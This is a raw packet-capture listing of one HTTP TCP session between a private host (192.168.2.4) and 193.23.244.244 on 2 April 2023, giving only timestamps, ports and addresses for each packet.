Apr 2, 2023 09:49:20.959393978 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959400892 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959414005 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959434032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959445000 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959455967 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959494114 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959498882 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959513903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959533930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959537983 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959553957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959573984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959594011 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959614038 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959618092 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959634066 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959618092 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959671021 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959676981 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959691048 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959712029 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959716082 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959726095 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959744930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959780931 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959817886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959824085 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959824085 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959839106 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959858894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959867001 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959880114 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959923983 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959929943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959949970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959969044 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959986925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959989071 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960009098 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960027933 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960028887 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960048914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960062027 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960071087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960091114 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960094929 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960110903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960130930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960135937 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960150957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960172892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960195065 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960211992 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960232973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960242033 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960299969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960306883 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960319996 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960372925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960427999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960464001 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960484982 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960505962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960527897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960534096 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960549116 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960558891 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960570097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960604906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960628986 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960639954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960644960 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960659981 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960680008 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960731030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960751057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960772038 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960793018 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960792065 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960792065 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960813999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.960822105 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.960978985 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961002111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961023092 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961044073 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961065054 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961085081 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961098909 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961105108 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961127043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961131096 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961149931 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961164951 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961169958 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961183071 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961195946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961208105 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961227894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961261988 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961262941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961282969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961296082 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961302996 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961323023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961327076 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961345911 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961359978 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961364985 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961385012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961405039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961412907 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961426020 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961438894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961447001 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961458921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961479902 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961482048 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961498976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961513996 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961520910 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961539984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961553097 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961560965 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961580038 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961600065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961607933 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961621046 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961641073 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961647034 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961659908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961677074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961679935 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961699963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961711884 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961720943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961740017 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961760044 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961772919 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961781979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961802006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961805105 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961821079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961833000 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961842060 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961862087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961874962 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961883068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961901903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961924076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961926937 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961945057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961958885 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.961966991 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.961987019 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962009907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962013006 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962023020 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962035894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962049007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962060928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962079048 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962091923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962105036 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962120056 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962132931 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962151051 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962165117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962184906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962205887 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962207079 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962227106 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962240934 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962249994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962270021 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962276936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962290049 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962310076 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962311983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962332010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962354898 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962366104 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962376118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962383032 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962398052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962419033 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962424994 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962438107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962460041 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962474108 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962481022 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962500095 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962511063 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962521076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962542057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962551117 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962562084 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962583065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962594986 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962601900 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962621927 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962634087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962642908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962662935 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962675095 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962682962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962718964 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962738991 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962739944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962759018 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962769032 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962779999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962799072 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962807894 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962819099 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962840080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962855101 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962858915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962879896 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962894917 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.962901115 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962913990 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962925911 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962939024 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962950945 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962973118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.962979078 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.963016033 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.963063955 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.972337008 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.972366095 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.972388983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.972409964 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.972424030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.972428083 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.972475052 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.979633093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.979662895 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.979688883 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.979702950 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.979716063 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.979743004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.979758024 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.979768038 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.979779005 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.979794979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.980010986 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.983484983 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.985431910 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.985460997 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.985486031 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.985511065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.985531092 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.985537052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.985559940 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.985562086 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.985600948 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.986493111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986520052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986546040 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986572027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986583948 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.986598015 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986615896 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.986736059 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986763954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986788034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986804962 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.986814976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986840963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986857891 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.986926079 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.986927032 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.986959934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.987003088 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.987309933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.987335920 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.987361908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.987387896 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.987401962 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.987412930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.987438917 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.987445116 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.987483025 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.988248110 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.988298893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.988343000 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.988349915 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.991887093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.991942883 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.011986017 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012057066 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012104988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012115002 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.012147903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012193918 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012195110 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.012238979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012285948 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012290955 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.012332916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012391090 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.012398005 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012469053 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012525082 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012542009 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.012571096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012618065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012624979 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.012665033 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012712002 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012720108 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.012758017 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012805939 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012809992 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.012872934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012938976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.012944937 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.012995958 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013051987 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.013061047 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013127089 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013184071 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013194084 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.013231993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013278961 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.013281107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013350964 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013403893 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.013418913 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013472080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013539076 CEST	49699	80	192.168.2.4	193.23.244.244
